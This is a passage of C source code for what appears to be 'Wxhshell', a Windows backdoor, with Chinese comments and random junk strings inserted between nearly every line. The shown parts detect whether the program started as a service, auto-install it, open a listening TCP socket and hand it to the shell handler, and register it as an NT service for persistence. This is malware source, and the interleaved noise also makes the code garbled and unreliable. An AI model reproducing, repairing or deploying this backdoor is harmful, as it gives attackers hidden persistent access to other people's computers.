<FA) if(!hProcess) return 0; nQbF~ *S ,5 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b|F4E{{D^ *-0tj~)> CloseHandle(hProcess); D_mdX9-~ `L n,qiA hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B'<k*9=Nv8 if(hProcess==NULL) return 0; n3Uw6gLD G>"=Af(t?Y HMODULE hMod; ;n1<1M>! char procName[255]; 6?GR+;/ unsigned long cbNeeded; _nW{Q-nh \[u7y. b if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O_-Lm4g?4 2|]pD CloseHandle(hProcess); %A_h!3f& ^U1@
hq*u if(strstr(procName,"services")) return 1; // 以服务启动 E$!0h_.( CRXIVver return 0; // 注册表启动 qI (<5Wxl } "%^T~Z(_j =@BVO@z@ // 主模块 m+&)eQ: int StartWxhshell(LPSTR lpCmdLine) 4I&e_b< 30 { bp"@vlv SOCKET wsl; W`auQO BOOL val=TRUE; o!bIaeEaU int port=0; ).IB{+ struct sockaddr_in door; y$-;6zk\] G!Gbg3:4e5 if(wscfg.ws_autoins) Install(); +bO]9*g] R1A|g=kF port=atoi(lpCmdLine); MLVrL r t 8nKZ if(port<=0) port=wscfg.ws_port; {|:ro!& -l)u`f^n| WSADATA data; i6Zsn#Z7) if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4o|-v Cf&.hod if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; T-.Q setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O:G5n 5J door.sin_family = AF_INET; }fqz8'E9 door.sin_addr.s_addr = inet_addr("127.0.0.1"); yxz)32B? door.sin_port = htons(port); <.d^jgG(j qhE1
7Hf if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,\".|m1o. closesocket(wsl); o=%pR| return 1; c}$C=s5 h} } qHQWiu%h 0-VC$)S if(listen(wsl,2) == INVALID_SOCKET) { APR"%(xD# closesocket(wsl); cJ^:b4j return 1; 4nvi7 } VyF|d?b Wxhshell(wsl); PjxZ3O WSACleanup(); R}T8cVxc \x(ILk|'c return 0; /RF=8,A f[wA]& } d[( } qcWY8sYf // 以NT服务方式启动 ZYMacTeJjg VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 78u9> H { :"im2J DWORD status = 0; *IGCFZbp41 DWORD specificError = 0xfffffff; GJeP~ d~hN`ff serviceStatus.dwServiceType = SERVICE_WIN32; s+fjQo4 serviceStatus.dwCurrentState = SERVICE_START_PENDING; dm(Xy'*iQ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Fk4T>8q2; serviceStatus.dwWin32ExitCode = 0; (gQr?K serviceStatus.dwServiceSpecificExitCode = 0; f6$$e+ serviceStatus.dwCheckPoint = 0; J^y}3ON serviceStatus.dwWaitHint = 0; jl)7Jd azCod1aL{ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \GP0FdpV if (hServiceStatusHandle==0) return; Tu[I84 6[k7e!& status = GetLastError(); SJai<>k h if (status!=NO_ERROR) < |